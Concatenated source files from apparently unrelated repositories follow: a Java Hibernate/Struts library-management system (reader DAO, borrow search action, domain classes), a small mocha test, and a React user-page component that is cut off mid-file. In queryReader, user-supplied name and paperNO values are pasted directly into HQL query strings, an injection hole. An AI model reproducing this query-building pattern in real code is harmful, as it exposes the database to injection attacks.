public class ReaderDaoImpl extends HibernateDaoSupport implements ReaderDao{
@Override
public Reader getReader(Reader reader) {
//this.getHibernateTemplate().find(hql, value)方法无法执行的问题
//解决需要catch (Throwable e)
String hql= "from Reader r where r.readerId=?";
try {
List list = this.getHibernateTemplate().find(hql, reader.getReaderId());
if(list!=null && list.size()>0){
return (Reader) list.get(0);
}
} catch (Throwable e1) {
throw new RuntimeException(e1.getMessage());
}
return null;
// Reader newReader = (Reader) this.getSession().get(Reader.class, reader.getReaderId());
// this.getSession().close();
// return newReader;
}
@Override
public Reader updateReaderInfo(Reader reader) {
Reader newReader = null;
try{
this.getHibernateTemplate().clear();
//将传入的detached(分离的)状态的对象的属性复制到持久化对象中,并返回该持久化对象
newReader = (Reader) this.getHibernateTemplate().merge(reader);
this.getHibernateTemplate().flush();
}catch (Throwable e1) {
e1.printStackTrace();
throw new RuntimeException(e1.getMessage());
}
return newReader;
}
@Override
public boolean addReader(Reader reader) {
boolean b = true;
try{
this.getHibernateTemplate().clear();
this.getHibernateTemplate().save(reader);
this.getHibernateTemplate().flush();
}catch (Throwable e1) {
b = false;
e1.printStackTrace();
throw new RuntimeException(e1.getMessage());
}
return b;
}
/**
*
* @param hql传入的hql语句
* @param pageCode当前页
* @param pageSize每页显示大小
* @return
*/
public List doSplitPage(final String hql,final int pageCode,final int pageSize){
//调用模板的execute方法,参数是实现了HibernateCallback接口的匿名类,
return (List) this.getHibernateTemplate().execute(new HibernateCallback(){
//重写其doInHibernate方法返回一个object对象,
public Object doInHibernate(Session session)
throws HibernateException, SQLException {
//创建query对象
Query query=session.createQuery(hql);
//返回其执行了分布方法的list
return query.setFirstResult((pageCode-1)*pageSize).setMaxResults(pageSize).list();
}
});
}
@Override
public PageBean<Reader> findReaderByPage(int pageCode, int pageSize) {
PageBean<Reader> pb = new PageBean<Reader>(); //pageBean对象,用于分页
//根据传入的pageCode当前页码和pageSize页面记录数来设置pb对象
pb.setPageCode(pageCode);//设置当前页码
pb.setPageSize(pageSize);//设置页面记录数
List readerList = null;
try {
String sql = "SELECT count(*) FROM Reader";
List list = this.getSession().createQuery(sql).list();
int totalRecord = Integer.parseInt(list.get(0).toString()); //得到总记录数
pb.setTotalRecord(totalRecord); //设置总记录数
this.getSession().close();
//不支持limit分页
String hql= "from Reader";
//分页查询
readerList = doSplitPage(hql,pageCode,pageSize);
}catch (Throwable e1) {
e1.printStackTrace();
throw new RuntimeException(e1.getMessage());
}
if(readerList!=null && readerList.size()>0){
pb.setBeanList(readerList);
return pb;
}
return null;
}
@Override
public Reader getReaderById(Reader reader) {
String hql= "from Reader r where r.readerId=?";
List list = this.getHibernateTemplate().find(hql, reader.getReaderId());
if(list!=null && list.size()>0){
return (Reader) list.get(0);
}
return null;
}
@Override
public boolean deleteReader(Reader reader) {
boolean b = true;
try{
this.getHibernateTemplate().clear();
this.getHibernateTemplate().delete(reader);
this.getHibernateTemplate().flush();
}catch (Throwable e1){
b = false;
e1.printStackTrace();
throw new RuntimeException(e1.getMessage());
}
return b;
}
@Override
public PageBean<Reader> queryReader(Reader reader,int pageCode, int pageSize) {
PageBean<Reader> pb = new PageBean<Reader>(); //pageBean对象,用于分页
//根据传入的pageCode当前页码和pageSize页面记录数来设置pb对象
pb.setPageCode(pageCode);//设置当前页码
pb.setPageSize(pageSize);//设置页面记录数
StringBuilder sb = new StringBuilder();
StringBuilder sb_sql = new StringBuilder();
String sql = "SELECT count(*) FROM Reader r where 1=1";
String hql= "from Reader r where 1=1";
sb.append(hql);
sb_sql.append(sql);
if(!"".equals(reader.getPaperNO().trim())){
sb.append(" and r.paperNO like '%" + reader.getPaperNO() +"%'");
sb_sql.append(" and r.paperNO like '%" + reader.getPaperNO() +"%'");
}
if(!"".equals(reader.getName().trim())){
sb.append(" and r.name like '%" + reader.getName() +"%'");
sb_sql.append(" and r.name like '%" + reader.getName() +"%'");
}
if(reader.getReaderType().getReaderTypeId()!=-1){
sb.append(" and r.readerType="+reader.getReaderType().getReaderTypeId());
sb_sql.append(" and r.readerType="+reader.getReaderType().getReaderTypeId());
}
try{
List list = this.getSession().createQuery(sb_sql.toString()).list();
int totalRecord = Integer.parseInt(list.get(0).toString()); //得到总记录数
pb.setTotalRecord(totalRecord); //设置总记录数
this.getSession().close();
List<Reader> adminList = doSplitPage(sb.toString(),pageCode,pageSize);
if(adminList!=null && adminList.size()>0){
pb.setBeanList(adminList);
return pb;
}
}catch (Throwable e1){
e1.printStackTrace();
throw new RuntimeException(e1.getMessage());
}
return null;
}
@Override
public Reader getReaderBypaperNO(Reader reader) {
String hql= "from Reader r where r.paperNO=?";
List list = this.getHibernateTemplate().find(hql, reader.getPaperNO());
if(list!=null && list.size()>0){
return (Reader) list.get(0);
}
return null;
}
@Override
public int batchAddReader(List<Reader> readers,List<Reader> failReaders) {
int success = 0;
for (int i = 0; i < readers.size(); i++) {
try{
this.getHibernateTemplate().clear();
this.getHibernateTemplate().save(readers.get(i));
this.getHibernateTemplate().flush();
success++;
}catch (Throwable e1) {
this.getHibernateTemplate().clear();
readers.get(i).setPaperNO(readers.get(i).getPaperNO() + "(可能已存在该读者)");
failReaders.add(readers.get(i));
continue ;
}
}
return success;
}
@Override
public List<Reader> findAllReaders() {
String hql= "from Reader ";
List list = this.getHibernateTemplate().find(hql);
return list;
}
}
<file_sep>/LibrarySystem/src/com/cc/library/action/BorrowSearchAction.java
package com.cc.library.action;
import org.apache.struts2.ServletActionContext;
import com.cc.library.domain.BackInfo;
import com.cc.library.domain.BorrowInfo;
import com.cc.library.domain.PageBean;
import com.cc.library.service.BackService;
import com.cc.library.service.BorrowService;
import com.opensymphony.xwork2.ActionSupport;
public class BorrowSearchAction extends ActionSupport{
private BackService backService;
public void setBackService(BackService backService) {
this.backService = backService;
}
private int pageCode;
private String ISBN;
private String paperNO;
private int borrowId;
public void setBorrowId(int borrowId) {
this.borrowId = borrowId;
}
public void setISBN(String iSBN) {
ISBN = iSBN;
}
public void setPaperNO(String paperNO) {
this.paperNO = paperNO;
}
public void setPageCode(int pageCode) {
this.pageCode = pageCode;
}
public String findBackInfoByPage(){
//获取页面传递过来的当前页码数
if(pageCode==0){
pageCode = 1;
}
//给pageSize,每页的记录数赋值
int pageSize = 5;
PageBean<BackInfo> pb = backService.findBackInfoByPage(pageCode,pageSize);
if(pb!=null){
pb.setUrl("findBackInfoByPage.action?");
}
//存入request域中
ServletActionContext.getRequest().setAttribute("pb", pb);
return "success";
}
public String queryBorrowSearchInfo(){
//获取页面传递过来的当前页码数
if(pageCode==0){
pageCode = 1;
}
//给pageSize,每页的记录数赋值
int pageSize = 5;
PageBean<BackInfo> pb = null;
if("".equals(ISBN.trim()) && "".equals(paperNO.trim()) && borrowId==0){
pb = backService.findBackInfoByPage(pageCode,pageSize);
}else{
pb = backService.queryBackInfo(ISBN,paperNO,borrowId,pageCode,pageSize);
}
if(pb!=null){
pb.setUrl("queryBorrowSearchInfo.action?ISBN="+ISBN+"&paperNO="+paperNO+"&borrowId="+borrowId+"&");
}
ServletActionContext.getRequest().setAttribute("pb", pb);
return "success";
}
}
<file_sep>/LibrarySystem/src/com/cc/library/service/impl/ReaderTypeServiceImpl.java
package com.cc.library.service.impl;
import java.util.List;
import com.cc.library.dao.ReaderTypeDao;
import com.cc.library.domain.ReaderType;
import com.cc.library.service.ReaderTypeService;
public class ReaderTypeServiceImpl implements ReaderTypeService{
public ReaderTypeDao readerTypeDao;
public void setReaderTypeDao(ReaderTypeDao readerTypeDao) {
this.readerTypeDao = readerTypeDao;
}
@Override
public List<ReaderType> getAllReaderType() {
return readerTypeDao.getAllReaderType();
}
@Override
public ReaderType getTypeById(ReaderType readerType) {
return readerTypeDao.getTypeById(readerType);
}
@Override
public ReaderType updateReaderType(ReaderType updateReaderType) {
// TODO Auto-generated method stub
return readerTypeDao.updateReaderType(updateReaderType);
}
@Override
public boolean addReaderType(ReaderType readerType) {
// TODO Auto-generated method stub
return readerTypeDao.addReaderType(readerType);
}
}
<file_sep>/LibrarySystem/test/com/cc/library/test/TestSessionFactory.java
package com.cc.library.test;
import org.hibernate.SessionFactory;
import org.hibernate.Transaction;
import org.hibernate.classic.Session;
import org.junit.Test;
import com.cc.library.domain.Admin;
public class TestSessionFactory extends BaseSpring{
@Test
public void testSessionFactory(){
SessionFactory sessionFactory = (SessionFactory)context.getBean("sessionFactory");
}
}
<file_sep>/LibrarySystem/src/com/cc/library/dao/ForfeitDao.java
package com.cc.library.dao;
import java.util.List;
import com.cc.library.domain.ForfeitInfo;
import com.cc.library.domain.PageBean;
import com.cc.library.domain.Reader;
public interface ForfeitDao {
public List<ForfeitInfo> getForfeitByReader(Reader reader);
public boolean addForfeitInfo(ForfeitInfo forfeitInfo);
public PageBean<ForfeitInfo> findForfeitInfoByPage(int pageCode,
int pageSize);
public ForfeitInfo getForfeitInfoById(ForfeitInfo forfeitInfo);
public ForfeitInfo updateForfeitInfo(ForfeitInfo forfeitInfoById);
}
<file_sep>/LibrarySystem/src/com/cc/library/domain/BackInfo.java
package com.cc.library.domain;
import java.util.Date;
public class BackInfo {
private Integer borrowId; //借阅编号
private BorrowInfo borrowInfo;
private Admin admin; //操作员
private Date backDate; //归还时间
public Integer getBorrowId() {
return borrowId;
}
public void setBorrowId(Integer borrowId) {
this.borrowId = borrowId;
}
public BorrowInfo getBorrowInfo() {
return borrowInfo;
}
public void setBorrowInfo(BorrowInfo borrowInfo) {
this.borrowInfo = borrowInfo;
}
public Admin getAdmin() {
return admin;
}
public void setAdmin(Admin admin) {
this.admin = admin;
}
public Date getBackDate() {
return backDate;
}
public void setBackDate(Date backDate) {
this.backDate = backDate;
}
public BackInfo() {
}
}
| 5745853e47340267f89ec400aa521f8fd96c30ca | [
"Markdown",
"Java",
"SQL"
] | 27 | Java | YuHangZM/LibrarySystem-1 | e292626fc0c6867b69fedcf0b5a41f81f4db5f4f | 523ef194df6a5a73e6972307f47332286f26ba32 |
refs/heads/master | <file_sep>var should = require('should');
var assert = require('assert');
describe('Test Framework', function () {
it('should have mocha installed and running.', function () {
assert.equal(true, true);
})
it('should have the should library installed and running for fluent testing.', function () {
true.should.eql(true);
})
it('should have library installed and running for fluent testing.', function () {
true.should.not.equal(false);
})
}) | fc31d70d1094898daafa36c3ef45eac1b25e7182 | [
"JavaScript"
] | 1 | JavaScript | LeiShi92/BeerBeer2 | 777bfaa82606222898778748510c0a3a7584976c | 32ffbecb06a1fd574bf9bcc84f76fe0ac267c470 |
refs/heads/master | <repo_name>Leoleo710/Calculator<file_sep>/src/feetToMeter/AreaCalculator.java
package feetToMeter;
public class AreaCalculator {
public AreaCalculator() {
}
public double area(FeetMeter f1, FeetMeter f2) {
return f1.toMeter()*f2.toMeter();
}
}
| 751c8efb1ba17e913b84825797890b0e129862fa | [
"Java"
] | 1 | Java | Leoleo710/Calculator | b299d80ad21f29e5b17e5dea8f32b34e63d55bba | c21f1c9eb13538e63ad2ef0b2b1d2ec4ee17d501 |
refs/heads/master | <repo_name>ibenzyk/doc<file_sep>/index.php
<?php
echo "<h1> Hello Iegor </h1>";
?> | d5129041ca895e0d3bf59e36824544b0d99ecad8 | [
"PHP"
] | 1 | PHP | ibenzyk/doc | 2176f70ad1803c3c3c36f93faa925ad70c0ef756 | fa1d1cbcfa186a9aa1a65c2fed98b2f1a69872ba |
refs/heads/master | <repo_name>jtatarow/DCGAN<file_sep>/dataloader.py
import tensorflow as tf
def fasion_mnist():
dataset = tf.keras.datasets.fashion_mnist
(train_images, train_labels), (test_images, test_labels) = dataset.load_data()
return train_images, train_labels, test_images, test_labels
def mnist():
dataset = tf.keras.datasets.mnist
(train_images, train_labels), (_, _) = tf.keras.datasets.mnist.load_data()
return train_images, train_labels
def construct_dataset(batch_size, data, labels):
data = data.reshape(data.shape[0], data.shape[1], data.shape[2], 1).astype('float32')
data = (data - 127.5) / 127.5
dataset = tf.data.Dataset.from_tensor_slices(data).shuffle(data.shape[0]).batch(batch_size)
return dataset
<file_sep>/D.py
import tensorflow as tf
from tensorflow.keras import Model, layers
class D:
def __init__(self):
pass
def make_model(self):
model = tf.keras.Sequential()
model.add(layers.Conv2D(64, (5, 5), strides=(2, 2), padding='same',
input_shape=[28, 28, 1]))
model.add(layers.LeakyReLU())
model.add(layers.Dropout(0.3))
model.add(layers.Conv2D(128, (5, 5), strides=(2, 2), padding='same'))
model.add(layers.LeakyReLU())
model.add(layers.Dropout(0.3))
model.add(layers.Flatten())
model.add(layers.Dense(1))
return model<file_sep>/train.py
import tensorflow as tf
from dataloader import fasion_mnist, mnist, construct_dataset
from G import G
from D import D
import time
import datetime
cross_entropy = tf.keras.losses.BinaryCrossentropy(from_logits=True)
def discriminator_loss(real_output, fake_output, smoothing_factor=1.0):
real_loss = cross_entropy(tf.ones_like(real_output)*smoothing_factor, real_output)
fake_loss = cross_entropy(tf.zeros_like(fake_output), fake_output)
total_loss = real_loss + fake_loss
return total_loss
def generator_loss(fake_output):
return cross_entropy(tf.ones_like(fake_output), fake_output)
D_loss = tf.keras.metrics.Mean('D_loss', dtype=tf.float32)
G_loss = tf.keras.metrics.Mean('G_loss', dtype=tf.float32)
lr_schedule = tf.keras.optimizers.schedules.ExponentialDecay(1e-4, decay_steps=100000, decay_rate=.96,
staircase=True)
generator_optimizer = tf.keras.optimizers.Adam(learning_rate=lr_schedule, beta_1=.5, clipvalue=20.0)
discriminator_optimizer = tf.keras.optimizers.Adam(learning_rate=lr_schedule, beta_1=.5, clipvalue=20.0)
BATCH_SIZE = 512
EPOCHS = 500
noise_dim = 100
num_examples_to_generate = 16
seed = tf.random.normal([num_examples_to_generate, 100])
generator = G().make_model()
discriminator = D().make_model()
def train_step(images, step):
noise = tf.random.normal([BATCH_SIZE, noise_dim])
with tf.GradientTape() as gen_tape, tf.GradientTape() as disc_tape:
generated_images = generator(noise, training=True)
real_output = discriminator(images, training=True)
fake_output = discriminator(generated_images, training=True)
gen_loss = generator_loss(fake_output)
disc_loss = discriminator_loss(real_output, fake_output, smoothing_factor=.9)
if step % 5 == 0:
gradients_of_discriminator = disc_tape.gradient(disc_loss, discriminator.trainable_variables)
discriminator_optimizer.apply_gradients(zip(gradients_of_discriminator, discriminator.trainable_variables))
else:
gradients_of_generator = gen_tape.gradient(gen_loss, generator.trainable_variables)
generator_optimizer.apply_gradients(zip(gradients_of_generator, generator.trainable_variables))
G_loss(gen_loss)
D_loss(disc_loss)
current_time = datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
train_log_dir = './logs/' + current_time
train_summary_writer = tf.summary.create_file_writer(train_log_dir)
def train(dataset, epochs):
for epoch in range(epochs):
start = time.time()
for i, image_batch in enumerate(dataset):
train_step(image_batch, i)
with train_summary_writer.as_default():
tf.summary.scalar('G_loss', G_loss.result(), step=epoch)
tf.summary.scalar('D_loss', D_loss.result(), step=epoch)
if epoch % 10 == 0:
with train_summary_writer.as_default():
log_img = generator(seed, training=False)
tf.summary.image("generated images", log_img, max_outputs=16, step=epoch+1)
print ('Time for epoch {} is {} sec'.format(epoch + 1, time.time()-start))
if __name__ == '__main__':
data, labels, _, _ = fasion_mnist()
# data, labels = mnist()
dataset = construct_dataset(BATCH_SIZE, data, labels)
train(dataset, 5000) | 4868ee70231b4f0d5be6dba0dccd7520e43411d9 | [
"Python"
] | 3 | Python | jtatarow/DCGAN | 3528650ed559c7fbf8e1844247c13e41c5f90d7b | 606f8d4d3dd24ee620605c2dc0c394e8e0016fb6 |
refs/heads/master | <file_sep>import { Routes } from '@angular/router'
import { LastVisitedComponent } from './last-visited/last-visited.component';
import { WeatherComponent } from './weather/weather.component';
export const allAppRoutes: Routes = [
{ path: 'weather-component/:stad', component: WeatherComponent },
{ path: 'last', component: LastVisitedComponent }
];<file_sep>import { Component, OnInit } from '@angular/core';
import { ActivatedRoute, ParamMap, Router } from '@angular/router';
import { ApixuService } from "../apixu.service";
import { NgForage } from 'ngforage';
import { Renderer2 } from '@angular/core';
import { BehaviorSubject, Observable } from 'rxjs';
import { Injectable } from '@angular/core';
@Component({
selector: 'app-last-visited',
templateUrl: './last-visited.component.html',
styleUrls: ['./last-visited.component.css']
})
export class LastVisitedComponent implements OnInit {
lightmode: boolean = false;
public weatherData: any;
constructor(
private route: ActivatedRoute,
private router: Router,
private apixuService: ApixuService,
private readonly ngf: NgForage,
private renderer: Renderer2) { }
public getItem<T = any>(key: string): Promise<T> {
return this.ngf.getItem<T>(key);
}
ngOnInit(): void {
this.getItem<string>('stad').then(value =>
this.route.paramMap.subscribe((params: ParamMap) => {
this.apixuService
.getWeather(value).subscribe(data => {
this.weatherData = data;
console.log(this.weatherData);
}
);
}));
}
themeSelection: BehaviorSubject<string> = new BehaviorSubject<string>('bootstrap');
setTheme(theme: string) {
this.themeSelection.next(theme);
}
themeChanges(): Observable<string> {
return this.themeSelection.asObservable();
}
}
<file_sep>import { Injectable } from '@angular/core';
import { NgForage } from 'ngforage';
import { BehaviorSubject, Observable } from 'rxjs';
@Injectable({
providedIn: 'root'
})
export class ThemeService {
private lightmode = new BehaviorSubject<boolean>(false);
constructor(private readonly ngf: NgForage,) {
this.ngf.getItem<boolean>('lightmode').then(value => this.lightmode.next(value || false))
}
toggleTheme() {
this.lightmode.next(!this.lightmode.getValue());
this.ngf.setItem<boolean>('lightmode', this.lightmode.getValue());
}
getTheme(): Observable<boolean> {
return this.lightmode.asObservable();
}
}<file_sep>import { BrowserModule } from '@angular/platform-browser';
import { NgModule } from '@angular/core';
import { RouterModule } from '@angular/router';
import { allAppRoutes } from './routes';
import { AppRoutingModule } from './app-routing.module';
import { AppComponent } from './app.component';
import { WeatherComponent } from './weather/weather.component';
import { HttpClientModule } from '@angular/common/http';
import { StorageServiceModule } from "ngx-webstorage-service";
import {DEFAULT_CONFIG, NgForageOptions, NgForageConfig, Driver} from 'ngforage';
import { LastVisitedComponent } from './last-visited/last-visited.component';
import { ServiceWorkerModule } from '@angular/service-worker';
import { environment } from '../environments/environment';
@NgModule({
declarations: [
AppComponent,
WeatherComponent,
LastVisitedComponent
],
imports: [
StorageServiceModule,
BrowserModule,
AppRoutingModule,
RouterModule.forRoot(allAppRoutes),
HttpClientModule,
ServiceWorkerModule.register('./ngsw-worker.js', { enabled: environment.production }),
],
providers: [
{
provide: DEFAULT_CONFIG,
useValue: {
name: 'MyApp',
driver: [ // defaults to indexedDB -> webSQL -> localStorage
Driver.INDEXED_DB,
Driver.LOCAL_STORAGE
]
} as NgForageOptions
}
],
bootstrap: [AppComponent]
})
export class AppModule { }<file_sep>import { Component } from '@angular/core';
import { NgForage } from 'ngforage';
import { Renderer2 } from '@angular/core';
import { ThemeService } from './services/theme.service';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
lightmode: boolean = false;
constructor(private readonly ngf: NgForage,
private themeService: ThemeService,
private renderer: Renderer2
) {
this.themeService.getTheme().subscribe(theme => this.lightmode = theme)
}
public async ngOnInit() {
this.themeService.getTheme().subscribe(lightmode => {
if (lightmode) {
this.renderer.removeClass(document.body, 'bootstrap-dark');
}
else
this.renderer.addClass(document.body, 'bootstrap-dark');
})
}
toggleTheme() {
this.themeService.toggleTheme()
}
}
| 578b436a8febee27d5dd536c3c624e33cf9d1a50 | [
"TypeScript"
] | 5 | TypeScript | Robbetest123/Angular_React | c4f9946c353fe70c71257d5f8a75e7c31fd24641 | b470621c3c9ec8352538d721208f8cdfce92fb63 |
refs/heads/master | <file_sep>import { HexagonCell } from "./HexagonCell"
export class HexagonMap {
private cells: Array<HexagonCell>;
private row_count: number;
private col_count: number;
public constructor(row_count: number, col_count: number) {
this.row_count = row_count;
this.col_count = col_count;
// grid initialization
this.cells = new Array<HexagonCell>();
for (let col = 0; col < col_count; col++) {
let init_row: number;
if (col % 2 == 0) {
init_row = 1;
}
else {
init_row = 0;
}
for (let row = init_row; row < row_count; row += 2) {
let cell: HexagonCell = new HexagonCell();
cell.y = row;
cell.x = col;
this.cells.push(cell);
}
}
}
public getCells(): Array<HexagonCell> {
const clone = Object.assign([], this.cells);
return clone;
}
}<file_sep>import { HexagonMap } from "./HexagonMap";
let map: HexagonMap = new HexagonMap(9, 7);<file_sep>export interface CellType {
type: string;
}<file_sep>import { CellType } from "./CellType"
import { ObjType } from "./ObjType"
export class HexagonCell {
public x: number = null;
public y: number = null;
public base_type: CellType;
public attach_type: ObjType;
constructor() {
}
}<file_sep>export interface ObjType {
type: string;
} | cc11260a86e01c52adedd0ba7d0c5b1edaa8ab4e | [
"TypeScript"
] | 5 | TypeScript | pomodorozhong/HexMap | 7001b43c2ba6c25dfb2a072c33f5577262574a3d | 33d6c76bc4af3c25d2a0b8208225189553720985 |
refs/heads/master | <repo_name>arvind0937/topojson<file_sep>/lib/topojson/scale.js
var type = require("./type");
module.exports = function(topology, options) {
var width,
height,
margin = 0,
invert = true;
if (options)
"width" in options && (width = +options["width"]),
"height" in options && (height = +options["height"]),
"margin" in options && (margin = +options["margin"]),
"invert" in options && (invert = !!options["invert"]);
var dx = topology.bbox[2] - topology.bbox[0],
dy = topology.bbox[3] - topology.bbox[1],
kx;
width = Math.max(0, width - margin * 2);
height = Math.max(0, height - margin * 2);
if (width && height) {
kx = Math.min(width / dx, height / dy);
} else if (width) {
kx = width / dx;
height = kx * dy;
} else {
kx = height / dy;
width = kx * dx;
}
var ky = invert ? -kx : kx;
if (topology.transform) {
topology.transform.scale[0] *= kx;
topology.transform.scale[1] *= ky;
topology.transform.translate[0] = (width - dx * kx) / 2 + margin;
topology.transform.translate[1] = (height - dy * ky) / 2 + margin;
} else {
var cx = topology.bbox[2] + topology.bbox[0],
cy = topology.bbox[3] + topology.bbox[1];
var scale = type({
LineString: noop,
MultiLineString: noop,
Point: function(point) { point.coordinates = scalePoint(point.coordinates); },
MultiPoint: function(multipoint) { multipoint.coordinates = multipoint.coordinates.map(scalePoint); },
Polygon: noop,
MultiPolygon: noop
});
for (var key in topology.objects) {
scale.object(topology.objects[key]);
}
topology.arcs = topology.arcs.map(function(arc) {
return arc.map(scalePoint);
});
function scalePoint(point) {
return [
point[0] * kx + (width - cx * kx) / 2 + margin,
point[1] * ky + (height - cy * ky) / 2 + margin
];
}
}
};
function noop() {}
| 00c279f6e862892463e74bc7a6e32abe2e3cdd1a | [
"JavaScript"
] | 1 | JavaScript | arvind0937/topojson | 286395200bae38b2475b0e404e189b1a81c78ead | 7e12dda802c518f6973c7dada8738dce91e46502 |
refs/heads/master | <file_sep>/* eslint-disable no-console */
/* eslint-disable indent */
/* eslint-disable strict */
const drillArray = require('./array');
function main() {
drillArray.SIZE_RATIO = 3;
let arr = new drillArray();
arr.push(3);
arr.push(5);
arr.push(15);
arr.push(19);
arr.push(45);
arr.push(10);
arr.pop();
arr.pop();
arr.pop();
// console.log(arr.get(0));
for (let i = 0; i < arr.length; i++) {
arr.pop();
}
arr.push('tauhida');
console.log(arr.get(1));
//NaN being returned
//float value looking for decimal and we are passing in a
//resize
//if arr.length >= capacity resize will increase capacity
// based on the ratio you provide
console.log(arr);
}
main();
// drillArray { length: 1, _capacity: 1, ptr: 0 }
// with added pushes drillArray { length: 6, _capacity: 6, ptr: 15 }
// The ptr is 3 times the original size of the array due to the ._resize method.
//drillArray { length: 3, _capacity: 6, ptr: 15 }
//.pop decreses the length, but capacity stays the sam
// values not removed because memory has not been overwritten
//URLify a string
//replace spaces with %20
function urlify(str) {
let res = str.replace(' ', '%20');
return res;
}
//console.log(urlify('test code'));
const testArr = [4, 6, -3, 5, -2, 1];
// This Complexity is O(n) but could be O(log(n)) if we split the arr.
function filterTheArray(arr) {
let results = [];
for (let i = 0; i < arr.length; i++) {
if (arr[i] >= 5) {
results.push(arr[i]);
}
}
return results;
}
//console.log(filterTheArray(testArr));
// Complexity is O(n^2), Polynomial.
function maxSum(arr) {
let maxSum = 0;
for (let i = 0; i < arr.length; i++) {
let sum = 0;
for (let j = i; j < arr.length; j++) {
sum += arr[j];
if (maxSum < sum) {
maxSum = sum;
} else {
sum;
}
}
}
return maxSum;
}
//console.log(maxSum(testArr));
//Merge arrays
//Linear time O(n) output directly proportional to input
let arr1 = [1, 3, 6, 8, 11];
let arr2 = [2, 3, 5, 8, 9, 10];
function mergeArrays(arr1, arr2) {
let result = arr1.concat(arr2);
result.sort(function (a, b) { return a - b; });
return result;
}
//console.log(mergeArrays(arr1, arr2));
// Remove characters
// Input:'Battle of the Vowels: Hawaii vs. Grozny', 'aeiou'
// Output: 'Bttl f th Vwls: Hw vs.
function removeChar(str, char) {
let result = '';
for (let i = 0; i < str.length; i++) {
let hasChar = true;
for (let j = 0; j < char.length; j++) {
if (str[i] === char[j]) {
hasChar = false;
}
}
if (hasChar) {
result += str[i];
}
}
return result;
}
//console.log(removeChar('Battle of the Vowels: Hawaii vs. Grozny', 'aeiou'));
// Products Drill
// Complexity Polynomial.
let input = [1, 3, 9, 4];
// Output:[108, 36, 12, 27]
function product(arr) {
let total = [];
for (let i = 0; i < arr.length; i++) {
let product = 1;
for (let j = 0; j < arr.length; j++) {
if (i !== j) {
product *= arr[j];
}
}
total.push(product);
}
return total;
}
//console.log(product(input));
// 2D Array Drill
// O(n^2 * 2) Polynomial complexity.
let arrInput = [
[1, 0, 1, 1, 0],
[0, 1, 1, 1, 0],
[1, 1, 1, 1, 1],
[1, 0, 1, 1, 1],
[1, 1, 1, 1, 1]
];
// Expected Output
// [
// [0,0,0,0,0],
// [0,0,0,0,0],
// [0,0,1,1,0],
// [0,0,0,0,0],
// [0,0,1,1,0]
//];
function zeroOut(arr) {
// Create storage for results of overall, row, and column.
let results = [];
let rowResult = [];
let columnResult = [];
// Iterate over the entire 2D array.
for (let i = 0; i < arr.length; i++) {
// iterate over each array individually
for (let j = 0; j < arr[0].length; j++) {
// if the individual array at position [i] with element at position [j] is equal to 0. then set the corresponding result array to true.
if (arr[i][j] === 0) {
rowResult[i] = true;
columnResult[j] = true;
}
}
}
// iterate over the overall array.
for (let i = 0; i < arr.length; i++) {
// if the results array is empty fill with empty arrays matching the length of the input array.
if (!results[i]) {
results[i] = [];
}
// if the either the row result or column result was set to true then set the corresponding overall result position to 0.
for (let j = 0; j < arr[0].length; j++) {
if (rowResult[i] || columnResult[j]) {
results[i][j] = 0;
}
else {
results[i][j] = 1;
}
}
}
return results;
}
//console.log(zeroOut(arrInput));
//String rotation
// Input: amazon, azonam
// Output: true
function stringRotation(str1, str2) {
let match = false;
for (let i = 0; i < str1.length; i++) {
let testStr = (str1[i] + str1.slice(i + 1) + str1.slice(0, i))
if (testStr === str2) {
match = true;
}
}
return match;
}
console.log(stringRotation('amazon', 'azonam'));
console.log(stringRotation('amazon', 'azonma'));
console.log(stringRotation('buffalo', 'falobuf'));
| 74b0d68fa2979df59f8ca1d8ec722eb9694557d8 | [
"JavaScript"
] | 1 | JavaScript | thinkful-ei-heron/DSA-Arrays-Wesley-Andrea | e2508e8b58ee4bd6a38130ad504c9bd267b47a2d | b77885b855025d41f19e7f546a1ba667da243baa |
refs/heads/master | <repo_name>gitgeorgec/music-store<file_sep>/src/container/user.js
import React, { Component } from 'react';
import ProductItem from '../components/productItem'
import HeadphoneImg from '../img/malte-wingen-381988-unsplash.jpg'
import { getUser} from '../api/api'
class User extends Component{
constructor(props){
super(props)
this.state={
username:"",
email:"",
page:"My music",
products:"",
}
}
async componentWillMount(){
let User = await getUser()
console.log(User)
this.setState({
order:User.order,
username:User.username,
email:User.email,
products:User.product
})
}
ShoppingItems =()=>{
let arr = []
for(let key in this.state.products){
arr.push(
<ProductItem
key={key}
info={this.state.products[key]}
/>
)
}
return arr
}
account =()=>{
return (
<div className="col-12">
<div className="row m-1 pt-2 pb-2">
<div className="col-lg-2 col-md-3 col-sm-4 col-6">
<img className="card-img shadow" src={HeadphoneImg} alt=""/>
</div>
<div className="col-lg-10 col-md-9 col-sm-8 col-6" style={{ fontWeight:"bold", fontSize:"1.5rem"}}>
username: {this.state.username} <br/>
email: {this.state.email}
</div>
</div>
</div>
)
}
orderList(){
let list =this.state.order.map((item)=>(
<div class="card" key={item._id}>
<div class="card-header">
<h5 class="mb-0">
<button class="btn btn-link" type="button" data-toggle="collapse" data-target={"#Id"+item._id}>
{item._id}
</button>
</h5>
</div>
<div id={"Id"+item._id} class="collapse" data-parent="#orderList">
<div class="card-body">
{Object.values(item.cart).map(item=>(
<div class="row">
<div className="col-lg-2 col-md-3 col-sm-4 col-6">
<img className="card-img shadow" src={item.img} alt=""/>
</div>
<div className="col-lg-10 col-md-9 col-sm-8 col-6" style={{fontWeight:"bolder"}}>
<h4>{item.item.name} </h4>
Artists: {item.item.artists[0].name} <br/>
Price: ${item.price} <br/>
qty: {item.qty}
</div>
</div>
))}
</div>
</div>
</div>
)
)
return (
<div className="col-12">
<div class="" id="orderList">
{list}
</div>
</div>
)
}
handlePageChange(page){
this.setState({page})
}
hoverIn(e){
e.target.classList.add("font-large")
if(e.target.previousElementSibling){
e.target.previousElementSibling.classList.add("font-mid")
}
if(e.target.nextElementSibling){
e.target.nextElementSibling.classList.add("font-mid")
}
}
hoverOut(e){
e.target.classList.remove("font-large")
if(e.target.previousElementSibling){
e.target.previousElementSibling.classList.remove("font-mid")
}
if(e.target.nextElementSibling){
e.target.nextElementSibling.classList.remove("font-mid")
}
}
handleSideShowUP(){
const side = document.querySelector(".side-nav")
side.classList.toggle("hide-nav")
}
sideNav(){
let items = ["My music","My account","My order",]
return items.map((item,i)=>{
return <li key={i} className="nav-item btn btn-outline-warning" style={{transition:"0.1s"}} onMouseEnter={this.hoverIn.bind(this)} onMouseLeave={this.hoverOut.bind(this)} onClick={this.handlePageChange.bind(this, item)}>
{item}
</li>
})
}
render(){
return (
<div className="row mx-auto" style={{position:"relative"}}>
